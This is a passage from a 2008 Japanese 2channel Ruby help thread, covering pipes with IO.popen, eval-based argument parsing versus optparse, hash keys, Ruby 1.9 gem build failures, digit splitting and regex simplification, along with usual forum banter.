なんてのをそのままevalしないようにね。


283:デフォルトの名無しさん
08/01/27 13:10:01
>>262
ruby-electric.el はどこがダメ?

284:デフォルトの名無しさん
08/01/27 13:21:31
>>280
「正規表現で入力する」という専用入力プロンプトあるいはオプションスイッチを作る

ユーザーが一番欲しい、一番頻繁に使うと推測される機能は1と2だろ
3は見つからないあるいは見つけにくいときに使う機能であるべき

285:デフォルトの名無しさん
08/01/27 13:42:06
俺も284に一票
guiならチェックボックスとか

>>283
デフォルトだとクォーテーションや"|"も閉じちゃうので
正規表現を書くときにウザいからじゃね?

286:デフォルトの名無しさん
08/01/27 14:08:19
>>280
エスケープ文字があるときに
正規表現オブジェクトを作るのはどう?
もちろん最初と最後の"/"は取り除いて

if inputString.include?('\\') && inputString =~ /^\/.*\/$/
 re = Regexp.new(inputString[1..-2])
 Dir.glob("*").{|fileName| print fileName if fileName =~ re}
else
 Dir.glob(inputString).{|fileName| print fileName}
end

287:デフォルトの名無しさん
08/01/27 14:15:41
>>286
エスケープ文字のない正規表現書けなくない?

288:デフォルトの名無しさん
08/01/27 14:29:16
>>286はこれを導入したことで大量な例外の処理を書かなければならなくなると思う

289:286
08/01/27 14:46:08
自分でちょっと使ってみたけど、スゲー使いにくいw
文字列先頭の'/'、文字列最後の'/'、文字列中の'\'と暗黙なスイッチを
無駄に3つ追加してて、直感的に使えず全然ダメですわ

やっぱ、素直に284の言うとおりにした方がよいと思う

290:デフォルトの名無しさん
08/01/27 19:41:23
フィルタ系のコマンド(sortとか)に
Rubyで生成したテキストを流し込み
フィルタが処理した結果を受け取りたいでし。
どう書けば良いのでしょうか?
一旦ファイルに出力して、`sort` とかで受け取るしかないですか?

291:デフォルトの名無しさん
08/01/27 19:53:17
open('| sort', 'w'){|io| io.write("d\nc\na\nb\n") }
一度きっちりIPCとかパイプとか標準入出力とかフィルタとか調べとくと吉

その点Rubyアプリケーションプログラミングとかいいと思うんだが
まるで話題にならないのは中身が硬派すぎるからなんだろうか

292:デフォルトの名無しさん
08/01/27 19:58:38
>290
読み書き両方ならIO.popenかな。


293:デフォルトの名無しさん
08/01/27 20:18:09
>>291
あの本は読んでると眠くなる
100パーセント日本語の本なのに眠くなる理由は正直よくわからん

294:デフォルトの名無しさん
08/01/27 20:26:59
>291-292
ありがとうございました。
>291 ではフィルタの結果を出力することは出来ましたが
結果が受け取れませんでした。

そこで >292 に紹介された IO.popen を
リファレンスマニュアルの例文を元に使ってみたのですが
反応が返ってこなくなってしまい、^C しました。

コマンドプロンプトや、バッチファイル上での
パイプの使い方は知っていたのですが…
>291 さんの言う通り、もう少しパイプについて調べてみます…。

295:291
08/01/27 20:36:19
ああ、見当違いなレスしてた。ごめん
フィルタの中身にもよるけどこれでいけると思う

open("| sort", "w+"){|io|
io.write("c\nb\na")
io.close_write()
res = io.read()
}

296:デフォルトの名無しさん
08/01/27 20:51:10
>295
ありがとうございました!
close_write() がポイントっぽいですね。

297:デフォルトの名無しさん
08/01/27 22:57:47
>>296
sort は入力を全部受け付けてからでないと処理できないっしょ
close_write で入力は終わったって知らせてやらなきゃ。


298:デフォルトの名無しさん
08/01/27 23:12:15
Array#sortじゃダメな理由は何?

299:デフォルトの名無しさん
08/01/27 23:14:21
sortは例で、実際は別のプログラムなんじゃねーの。

300:デフォルトの名無しさん
08/01/27 23:17:25
> フィルタ系のコマンド(sortとか)
に対して「Array#sort使え」というのはかなりマト外してるな

まあ、よっぽど特殊なコマンドでない限り、テキストいじりならRuby内部でなんとかなるのも事実ではあるが…

301:デフォルトの名無しさん
08/01/28 02:13:27
#!/usr/bin/env ruby

def main()
 eval(ARGV.join(";"))
 STDOUT << hoge << "\n"
end

if __FILE__ == $0
 main
end

みたいなshowhoge.rbを作ってshowhoge.rb "hoge=\"Hello\""を実行したのですが
Helloと表示されません。 引数をevalしてオプションを解析する手間を省きたいのですが失敗していますorz

302:デフォルトの名無しさん
08/01/28 02:31:27
~$ cat syukudai.rb

require 'shellwords'
def main()
pairs = Shellwords.shellwords(ARGV.join(' '))
pairs.each do |pair|
(k,v) = pair.split(/=/)
puts "#{k}は#{v}です"
end
end

if __FILE__ == $0
main
end

~$ ruby syukudai.rb hoge="Hello" huga='World' hage=\!
hogeはHelloです
hugaはWorldです
hageは!です

ただしこれだと"や'を変数に入れることができない

303:デフォルトの名無しさん
08/01/28 02:55:17
 STDOUT << hoge << "\n"
C++出身?

304:デフォルトの名無しさん
08/01/28 03:03:32
evalの前に hoge = nil
もしくは@hogeに

305:デフォルトの名無しさん
08/01/28 03:16:11
>>301
宿題は宿題スレへ
Rubyの宿題教えてください。2限目
スレリンク(tech板)

306:デフォルトの名無しさん
08/01/28 04:02:28
素直にoptparse使ったほうがいいのでは…

307:デフォルトの名無しさん
08/01/28 04:44:13
>>301
エラーになる理由は↓参照
リファレンスマニュアル>Ruby 言語仕様>実行>変数と定数>ローカル変数

要するに定義されてない変数(メソッド)を使おうとしてエラーになってる
だから eval('STDOUT << hoge << "\n"') なら実行出来る

オプション解析なら >>306 の言う通り optparse 使うべき
eval にこだわるなら >>304 の様にあらかじめ変数を定義しておく

308:デフォルトの名無しさん
08/01/28 05:18:32
>>301 とりあえず、
def main()
  hoge =""
  eval(ARGV.join(';'))
  STDOUT << hoge << "\n"
end

if __FILE__ == $0
  main
end

foo.rb "hoge='Hello'"

Hello は表示されるが。

def main()
  eval(ARGV.join(';') + ";" + %Q(STDOUT << hoge << "\n"))
end

if __FILE__ == $0
  main
end
これもいけた。

309:デフォルトの名無しさん
08/01/28 08:37:42
optparseがめんどくさくて死ぬという話なのでは…

310:デフォルトの名無しさん
08/01/28 08:46:36
Rakeで、実行するコマンドを表示させることはできますか。
例えば rm_f 'filename' とあれば、実行時にどのファイルを削除しようとしているかが表示されてほしいです。

311:デフォルトの名無しさん
08/01/28 09:47:45
-v

312:デフォルトの名無しさん
08/01/28 11:07:09
>>311
-vつけても表示されませんけど?

313:デフォルトの名無しさん
08/01/28 17:42:26
myhash = {}
myhash[:aaa] = "aaa"  #これと 
myhash["aaa"] = "aaa" #これがどう違うのか分かりません><

314:デフォルトの名無しさん
08/01/28 18:14:06
>>313
キーが違う。

315:デフォルトの名無しさん
08/01/28 19:13:53
RubyのHashのキーは文字列(Stringオブジェクト)でなくても構わない。

irb> h = Hash.new
irb> arr = ['レ','イ','ク']
irb> h[arr] = '配列だよ'
irb> puts h[arr]
配列だよ

前者はたまたま文字列ではないシンボルを使ってるだけの話
シンボルで設定されてるハッシュならシンボルでアクセスしないと動作しないけどな

316:デフォルトの名無しさん
08/01/28 21:28:19
>>310

rm_f 'hoge', :verbose => true

全般にわたって制御する方法はねーのかな。

>>313
混乱させてしまうが、ActiveSupportというRailsの一部でもあるライブラリを
導入すると、HashWithIndifferentAccessというクラスが定義される。

myhash = {}.with_indifferent_access
のようにして作成すると、
myhash[:aaa] と myhash['aaa'] が同じモノを参照するようになる。
(実際には文字列側に正規化されている)


317:デフォルトの名無しさん
08/01/28 21:37:26
Rake内部のファイル操作がFileUtilsだけを使ってるなら、
どっかでmodule FileUtils::DryRunとかすればいいんだがどうだろね

318:デフォルトの名無しさん
08/01/28 21:46:19
すみません、Mac OS X上のEmacsのruby-modeを使っているのですが、
日本語を含むソースコードを保存しようとすると
「Symbol's function definition is void: coding-system-to-mime-charset」
と言われて保存できません。どなたか解決策ご存知の方いらっしゃいませんか。

319:デフォルトの名無しさん
08/01/28 21:51:15
>>317
DryRunって:noop=>trueだよな。
常時ONにしたら何も実行しなくなるんじゃない?


320:デフォルトの名無しさん
08/01/28 22:03:44
>>319
そりゃ、表示だけして実行はしないよ
そういうオプションだもの

表示後に実行もして欲しいかどうかはわからんのでその辺は適当に
どうせ教えてもらったのを文字通り組み込むわけじゃないだろ
該当するマニュアルとか見てから組み込むわけだし

321:デフォルトの名無しさん
08/01/28 22:07:25
>>318
> Symbol's function definition is void: coding-system-to-mime-charset
なんでこれが読めないの?
Ctrl x RET f
して候補を入力しろよ

322:デフォルトの名無しさん
08/01/28 22:18:58
とあるxmlがあります。具体的に言うとAmazonのECSの蔵書検索のやつ。
で、<Author>著者名</Author>とか<Publisher>出版社</Publisher>とか<Title>書名</Title>とかを20種類くらい得たいです。
しかし、xmlの構造が一定ではなくて、「<Publisher>が無い」というような抜けが稀にあります。
なので、固定の巨大な正規表現でがばっと抜き出すということができません。

#パターン1
h['Author'] = xml.scan(/<Author>(.+?)<\/Author>/).flatten
h['Publisher'] = xml.scan(/<Publisher>(.+?)<\/Publisher>/).flatten
h['Title'] = xml.scan(/<Title>(.+?)<\/Title/).flatten

#パターン2
RE = # 下の結果をあらかじめ直にコピペしたもの
# Regexp.union(/<(Author)>(.+?)<\/Author>/,/<(Publisher)>(.+?)<\/Publisher>/,/<(Title)>(.+?)<\/Title/)
xml.scan(RE).each do |a|
a.compact!
h[a[0]] = a[1]
end

どっちがメモリとかCUP時間とかの負荷少なくて済みそうですか?
ちなみにrexmlとかごっついパーサは3秒くらい止まるので候補になりませんでした

323:デフォルトの名無しさん
08/01/28 22:25:43
xmlは10KB前後です
これまではパターン1でxmlを何度もscanしてきたんですが、
「10KBの文字列に何度もアクセスする」という現状にだんだん不安になってきて
「選択入りの長い正規表現で一度だけアクセスしたほうがリソース的にまだマシなんじゃ?」とか思った次第です。

324:デフォルトの名無しさん
08/01/28 22:26:03
ruby 1.9をインスコしたのですが,mechanizeでこけます。
対策教えて下さい。
ruby 1.9はMacOS 10.3 PPC G3です。
$ ./configure --prefix=/opt/local --program-suffix=19
checking build system type... powerpc-apple-darwin7.9.0
checking host system type... powerpc-apple-darwin7.9.0
checking target system type... powerpc-apple-darwin7.9.0
checking for gcc... gcc

$ sudo gem19 install mechanize
Password:
Building native extensions.  This could take a while...
ERROR:  Error installing mechanize:
        ERROR: Failed to build gem native extension.

/opt/local/bin/ruby19 extconf.rb install mechanize
checking for main() in -lc... yes
creating Makefile

make
gcc -I. -I/opt/local/include/ruby-1.9.0/powerpc-darwin7.9.0 -I/opt/local/include/ruby-1.9.0 -I.   -fno-common -g -O2 -pipe -fno-common   -o hpricot_scan.o -c hpricot_scan.c
ext/hpricot_scan/hpricot_scan.rl: In function `hpricot_scan':
ext/hpricot_scan/hpricot_scan.rl:172: error: structure has no member named `ptr'
ext/hpricot_scan/hpricot_scan.rl:185: error: structure has no member named `ptr'
ext/hpricot_scan/hpricot_scan.rl:185: error: structure has no member named `len'
ext/hpricot_scan/hpricot_scan.rl:186: error: structure has no member named `len'
ext/hpricot_scan/hpricot_scan.rl:202: error: structure has no member named `ptr'
make: *** [hpricot_scan.o] Error 1


Gem files will remain installed in /opt/local/lib/ruby/gems/1.9.0/gems/hpricot-0.6 for inspection.
Results logged to /opt/local/lib/ruby/gems/1.9.0/gems/hpricot-0.6/ext/hpricot_scan/gem_make.out

325:デフォルトの名無しさん
08/01/28 22:27:53
>>324
> ruby 1.9をインスコした
お前にはまだ早い
即刻アンインストールして1.8.6にしろ

326:デフォルトの名無しさん
08/01/28 22:40:01
>>324
どこを直していいのかわからないような初心者が1.9使っちゃダメ

「おい、1.9でhogehogeが動かないから直してやったぜ。これがパッチな」
というのが正しい使いかた。

327:デフォルトの名無しさん
08/01/28 22:46:33
1.9使用者=デバッガか・・・ますます移行する気がおきんな

328:デフォルトの名無しさん
08/01/28 22:47:18
だから、移行するようなモノじゃないって。


329:318
08/01/28 22:49:27
>>321
それは試したのですが結果は変わりませんでした。

330:デフォルトの名無しさん
08/01/28 22:49:38
>>327
お前の周りでは「やっとβ版が出たのでシステムをこれに移行しました」とかいうことがあるのか?
しないだろ? 試しに遊んでみて納得する程度だろ?

331:デフォルトの名無しさん
08/01/28 22:51:55
次スレたてるときは、「初心者は1.9.0使うな」って書かないとあかんね。

332:デフォルトの名無しさん
08/01/28 22:52:34
>>331
>>7


333:デフォルトの名無しさん
08/01/28 22:53:17
いや、付け足し程度ではなく、>>1にでっかく書こう。


334:デフォルトの名無しさん
08/01/28 22:57:16
すいません。
1234567...とかの複数桁の数字を桁ごとに分割してそれぞれ扱いたいのですが、
どうやるのが一番解りやすいでしょうか?

335:デフォルトの名無しさん
08/01/28 23:03:38
>>324
作者に苦情のメールを送る。

336:デフォルトの名無しさん
08/01/28 23:03:52
>>324
1.9では文字列のアクセスの時RSTRING_PTRやRSTRING_LENを使わなくてはいけないのが原因っぽい

337:デフォルトの名無しさん
08/01/28 23:05:44
>>334
num = 1234567
num.to_s.split(//).each do |n|
 ketagoto(n.to_i)
end

338:デフォルトの名無しさん
08/01/28 23:06:49
なんで1.9最先端のruby-mode.elなんて。
ともかくemacs --versionの結果を。

339:デフォルトの名無しさん
08/01/28 23:06:50
x = 123456789
digits = x.to_s.split(//).map {|digit| digit.to_i} とか。

x = 123456789
digits = []
while x > 0
x, y = x.divmod(10)
digits.unshift(y)
end
という書き方もあるか。


340:デフォルトの名無しさん
08/01/28 23:11:27
>>339
初心者という言葉の意味を履き違えたオナニーヲタは帰れ
自分のブログででもやってろ

341:デフォルトの名無しさん
08/01/28 23:12:55
Ruby/Tkって今後廃れていくの?
ruby1.9.xじゃ添付ライブラリに入らない雰囲気なんでそ?
RubyのGUIツールキットは何を使っていくのが正解なの?

342:334
08/01/28 23:14:36
なるほど、spliteを使って区切り文字に何も入れなければ1文字ごとに分割されるんですね。
ありがとうございます。

343:デフォルトの名無しさん
08/01/28 23:15:35
>>340
339の前半は338と同じわけだから後半につっこんでるんだよな。
どっちかというとループ組んでちまちまやってる後半のほうが
初心者向けだと思った俺は変?


344:デフォルトの名無しさん
08/01/28 23:17:22
divmodじゃ?

345:デフォルトの名無しさん
08/01/28 23:19:24
unshiftとか久しぶりに見た
とりあえずスレ的には配列に変換してeachで回せる状況にするのが素直かと…

346:デフォルトの名無しさん
08/01/28 23:25:17
>>322
パターン1で20回scanするのならおそらくはパターン2を基本にするのがまだマシかと…
俺なら正規表現が長くなりすぎないようにパターン1でおおまかに小分けにしたものにパターン2を適用するけどな

347:デフォルトの名無しさん
08/01/28 23:28:16
>>341
GUIを使わないのが正解じゃなかろうか。
保守性も考えたGUIのソフトは大概組み込みRubyな感じ。

348:デフォルトの名無しさん
08/01/28 23:33:50
Ruby的にはサーバとWebブラウザベースで作るのが正解かと思われる
無理してショボいGUIつけたスタンドアロンアプリケーションは斜陽っぽいぞ

349:デフォルトの名無しさん
08/01/28 23:42:20
>>325
オマェの方こそ、厨房なんじゃネェの?
324には--program-suffix=19とかgem19って
書いてあるんだから、どう見たって1.8系と併存してんだろ?
なのにアンインストールしろだなんて
本当はソースヨメネェから、対処できなくてごまかしてんじゃね?



350:デフォルトの名無しさん
08/01/28 23:43:14
さ あ 、 も り あ が っ
                  て
                     ま
                       い
                         り
                          ま
                           し
                           た

351:デフォルトの名無しさん
08/01/28 23:45:16
最新作 On Air Alien オン.エア.エイリアン
URLリンク(zoomtv.atspace.com)


352:デフォルトの名無しさん
08/01/28 23:49:11
並存してるかどうかに関わらず1.9系列はアンインストールして1.8.6使うべき

353:デフォルトの名無しさん
08/01/28 23:53:37
なんかwindowsしか触った事が無い人が言いそうな感じだなぁ・・・

354:デフォルトの名無しさん
08/01/28 23:53:52
どんなに煽られようが「1.9には触るな」はガチ
手を出したこと自体が誤り
映画で言うとスタンドバイミー

355:デフォルトの名無しさん
08/01/28 23:54:41
あーわかったわかった
2ちゃんはギャーギャー騒げば大勝利だからな
もう何も言わないおめでとさん

356:デフォルトの名無しさん
08/01/28 23:57:32
今更自分の勝利のために>>7を捻じ曲げられても困るわけだが…

357:デフォルトの名無しさん
08/01/28 23:59:18
つーか開発版にわざわざ手出すなよ。動かないことに文句言うな。
1.9関連は使用を正当化するアホ初心者が沸いて困る。

358:デフォルトの名無しさん
08/01/29 00:01:07
URLリンク(www.ruby-lang.org)
>curl -O fURLリンク(ftp.ruby-lang.org)
これはMac上がりのニワカBSDヤーを懲らしめようとする巧妙な釣りだなw

359:デフォルトの名無しさん
08/01/29 00:21:39
ふつうはportやfinkで入れるところを……


360:デフォルトの名無しさん
08/01/29 00:24:49
>>357
β版リリースを大々的に宣伝するからだろw

361:デフォルトの名無しさん
08/01/29 00:30:35
目に付いた1.9.0への言及を1.8.6にしてみた。
改良よろ。
つーか、無駄に記述がおおいな。このページ。


362:デフォルトの名無しさん
08/01/29 00:33:46
質問です.
ベクトル空間モデルの考え方から,コサイン尺度を用いてベクトル間の
類似度を求めることができるじゃないですか?
このコサイン尺度の計算式ってプログラムでどう書けば良いのでしょうか?

363:デフォルトの名無しさん
08/01/29 00:36:54
それなりに知識がないと答えられないような。
Ruby固有の話じゃなさそうだから、このへんがいいんじゃないの?

プログラミングの為の数学と算数 vol.3
スレリンク(tech板)

科学技術計算
スレリンク(tech板)

計算アルゴリズム【Ⅱ】
スレリンク(tech板)


364:デフォルトの名無しさん
08/01/29 00:49:29
Railsスレとマルチすんなボケェ


365:デフォルトの名無しさん
08/01/29 01:07:57
Railsスレ→Rubyスレ→計算スレ??

「どこのレイヤーで躓いてるのかが把握できない」というあたりが
初心者ゆえんだな。


366:デフォルトの名無しさん
08/01/29 01:09:09
なんでRailsスレがこの板にあるのかと

367:デフォルトの名無しさん
08/01/29 01:34:44
たかがMVCやってるだけなのに宣伝がうざすぎるんで
Webprog板を追い出されました

368:デフォルトの名無しさん
08/01/29 02:21:05
(0..3).each{|i| p (i%1).class}
これを実行すると
hoge.rb:1: warning: don't put space before argument parentheses
0
0
0
0
となります。
なぜ p (i%1).class は Fixnum と出力されないんでしょうか?
ruby 1.8.5 (2006-12-25 patchlevel 12) [i386-mswin32]

369:デフォルトの名無しさん
08/01/29 02:36:32
>>368
(p(i%1)).class と解釈されるからじゃなかろうか

370:デフォルトの名無しさん
08/01/29 02:39:59
なるほどこれならうまくいきました
irb(main):004:0> (0..1).each{|i| p((i%2).class) }
Fixnum
Fixnum
=> 0..1

371:デフォルトの名無しさん
08/01/29 15:38:23
正規表現を合理化するスクリプトを書いているのですが,
以下のようにつらつらと書くと,とても手間が掛かるので,
もっと簡単に行う方法はないのでしょうか?

$KCODE="SJIS"
str = '2007年(01|02|03|04|05|06|07|08|09|10|11|12))月'

str.gsub!('(01|02|03|04|05|06|07|08|09|10|11|12)','(0[1-9]|1[0-2])')
str.gsub!('01|02|03|04|05|06|07|08|09','0[1-9]')
str.gsub!('10|11|12|13|14|15|16|17|18|19','1\d')
str.gsub!('20|21|22|23|24|25|26|27|28|29','2\d')
str.gsub!('30|31|32|33|34|35|36|37|38|39','3\d')
str.gsub!('40|41|42|43|44|45|46|47|48|49','4\d')
str.gsub!('50|51|52|53|54|55|56|57|58|59','5\d')
str.gsub!('60|61|62|63|64|65|66|67|68|69','6\d')
str.gsub!('70|71|72|73|74|75|76|77|78|79','7\d')
str.gsub!('80|81|82|83|84|85|86|87|88|89','8\d')
str.gsub!('90|91|92|93|94|95|96|97|98|99','9\d')
str.gsub!('10|11|12','1[0-2]')

p str



372:デフォルトの名無しさん
08/01/29 15:51:38
もう死ぬしかないね

373:デフォルトの名無しさん
08/01/29 16:22:31
ああ.一応4行目で変換は完了してるんですが,
strの中身が以下の様だったりする場合にも対応したいので.

str = '2007年(01|02|03|04|05|06|07|08|09|10|11)月' => 2007年(0[1-9]|1[01])月
str = '2007年(10|11|12)月'  => 2007年1[0-2]月
str = '(2007年(10|11|12)月|2008年(01|02|03|04|05|06|07|08|09|10|11|12)月)'  => (2007年1[0-2]月|2009年(0[1-9]|1[0-2])月)
str = '01|02|03|04|05|06|07|08'  => 0[1-8]
str = '11|12|13|14|25|26|27|28'   => 1[1-4]|2[5-8]

といった感じに変換されるようなモジュールなどはありませんか?




374:デフォルトの名無しさん
08/01/29 16:22:59
>>371
まず何がしたいのか分からん

375:デフォルトの名無しさん
08/01/29 16:31:41
長い正規表現を短くまとめたいのですが.


376:デフォルトの名無しさん
08/01/29 16:37:29
>>374
>>373だろ
要は、/1|2|3|4|5/ を /[1-5]/ に変換するようなうまい方法はないか、という質問
変換用のペアを自前で記述したものを作って総置換かける以外の方法はないような気がする

Rangeオブジェクトを使うと '11|12|13|14|15|16|17|18|19' を (11..19).to_a.join('|') にできるがその程度だろう


次ページ
最新レス表示
レスジャンプ
類似スレ一覧
スレッドの検索
話題のニュース
おまかせリスト
オプション
しおりを挟む
スレッドに書込
スレッドの一覧
暇つぶし2ch